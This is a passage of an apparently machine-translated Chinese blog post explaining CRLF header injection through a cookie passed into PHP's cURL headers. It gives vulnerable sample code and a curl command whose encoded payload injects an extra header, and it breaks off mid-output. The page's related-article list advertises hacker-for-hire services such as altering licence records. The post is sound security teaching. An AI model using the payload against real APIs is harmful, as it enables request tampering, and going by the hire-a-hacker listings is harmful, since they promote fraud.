将CRLF注入到PHP的cURL选项中

访客5年前黑客工具748

这是一篇关于将回车符和换行符注入调用内部 API的帖子。一年前我在GitHub上写了这篇文章的关键,但GitHub不是特别合适发布博客文章。你现在所看到的这 篇文章我添加了更多细节,所以它不是是直接复制粘贴的。
我喜爱做白盒测验。我不是一个优异的黑盒测验人员,但我花了十多年的时刻阅览和写PHP代码 – 而且在此过程中犯了许多过错 – 所以我知道要留意些什么。
我阅读了一些源代码发现了一个和这个有点像的函数:
// common.php
function getTrialGroups(){
    $trialGroups = 'default';
    if (isset($_COOKIE['trialGroups'])){
        $trialGroups = $_COOKIE['trialGroups'];
    }
    return explode(",", $trialGroups);
}
我所看到的体系都有一个“Trial Groups”的概念。 每个用户会话都有一个与之相关的组,在cookie中以逗号分隔的列表存储。 我的主意是,当推出新功用时,能够首先为少量客户启用这些功用,以下降功用发动的危险,或许答应对特性的不同变体进行比较(这种办法称为A /B测验)。 getTrialGroups()函数仅仅读取cookie值,将列表拆开并为用户回来一组 trial groups。
此功用中短少白名单当即引起了我的留意。 我查找了其余部分的代码库来找调用函数的详细位置,这样我就能够看到对其回来值是否有任何不安全的运用。
我不能和你们共享详细的代码,但我把我的发现大致的写了下来:
// server.php
// Include common functions
require __DIR__.'/common.php';
// Using the awesome httpbin.org here to just reflect
// our whole request back at us as *** ON ?
$ch = curl_init("http://httpbin.org/post");
// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
]);
// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
]));
// Return the response to the user
echo curl_exec($ch);
curl_close($ch);
此代码运用cURL库在内部 *** ON API上调用getPublicData办法。 该API需求了解用户的trial groups,以便相应地更改其行为,所以trial groups 会在X-Trial-Groups标头中传递给API。
问题是,在设置CURLOPT_HTTPHEADER时不会查看回车符或换行符字符的值。 由于getTrialGroups()函数回来用户可控数据,因而能够将恣意头部注入到API恳求中。
 
演示
为了让咱们更简单的了解,我将运用PHP的内置Web服务器在本地运转server.php:
tom@slim:~/tmp/crlf php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2019
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
运用cURL命令行实用程序,咱们能够发送包括trialGroups cookie的示例恳求:
tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2'
{
  "args": {},
  "data": "{"method":"getPublicData","params":[]}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "A1,B2"
  },
  "json": {
    "method": "getPublicData",
    "params": []
  },
  "origin": "X.X.X.X",
  "url": "http://httpbin.org/post"
}
我运用http://httpbin.org/post替代内部API端点,它回来一个 *** ON文档,描述发送的POST恳求,文档中包括恳求中的一切POST数据和标头。
有关呼应一个需求向咱们提一下的事项是发送到httpbin.org的X-Trial-Groups标头包括trialGroups cookie中的A1,B2字符串。 然后现在试一下一些CRLF(回车换行)注入:
tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{
  "args": {},
  "data": "{"method":"getPublicData","params":[]}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",

[1] [2] [3]  黑客接单网

相关文章

黑客 淘宝 接单,驾驶证找黑客改档案,网赌输了能找黑客要回吗

http://www.evilxr.com [200] WordPress[3.9.1], MetaGenerator[WordPress 3.9.1], HTTPServer[Microsoft-I...

网络高手黑客高手何在?进来帮忙查找下这个的个

Metasploit的商业版本开始提供能导致远程代码执行的漏洞利用模块从理论上讲,远程桌面服务本身并不容易受到攻击,但一旦被攻击,其后果可是不堪设想的。 如果你还不知道该漏洞的威力,就请想一想2017...

LoudMiner:伪装在VST软件中的跨平台挖矿软件-黑客接单平台

在五花八门的加密钱银挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2019年8月被发现,首要针对macOS和Windows体系。它能经过一些虚拟软件,如macOS上的QEMU和W...

CORS(跨域资源共享)错误配置漏洞的高级利用-黑客接单平台

嗨,咱们好!我是来自摩洛哥的安全研讨员Ayoub。本文我将为咱们介绍两种CORS过错装备缝隙运用的状况:第一种状况是根据XSS,第二种状况是根据高档的CORS运用技能。 留意:在开端阅览本文之前,你需...

网贷群,qq黑客哪里找,找黑客帮忙犯法吗

4) 直接通读全文代码,这种方法能够更好的了解代码的事务逻辑,能够挖掘出更有价值的缝隙 );?>数据库衔接文件为 ***********/Conn.aspa)尽管经过HackRF来收发GF...

一个网页是怎么从你的手机中偷盗数据的WebUSB

本年9月15日,Chrome61宣告,它启用了WebUSB作为其默许成效。而WebUSB是一个Javascript API,可以容许网页访问已联接的USB配备。这儿的USB配备是指系统和工业的USB配...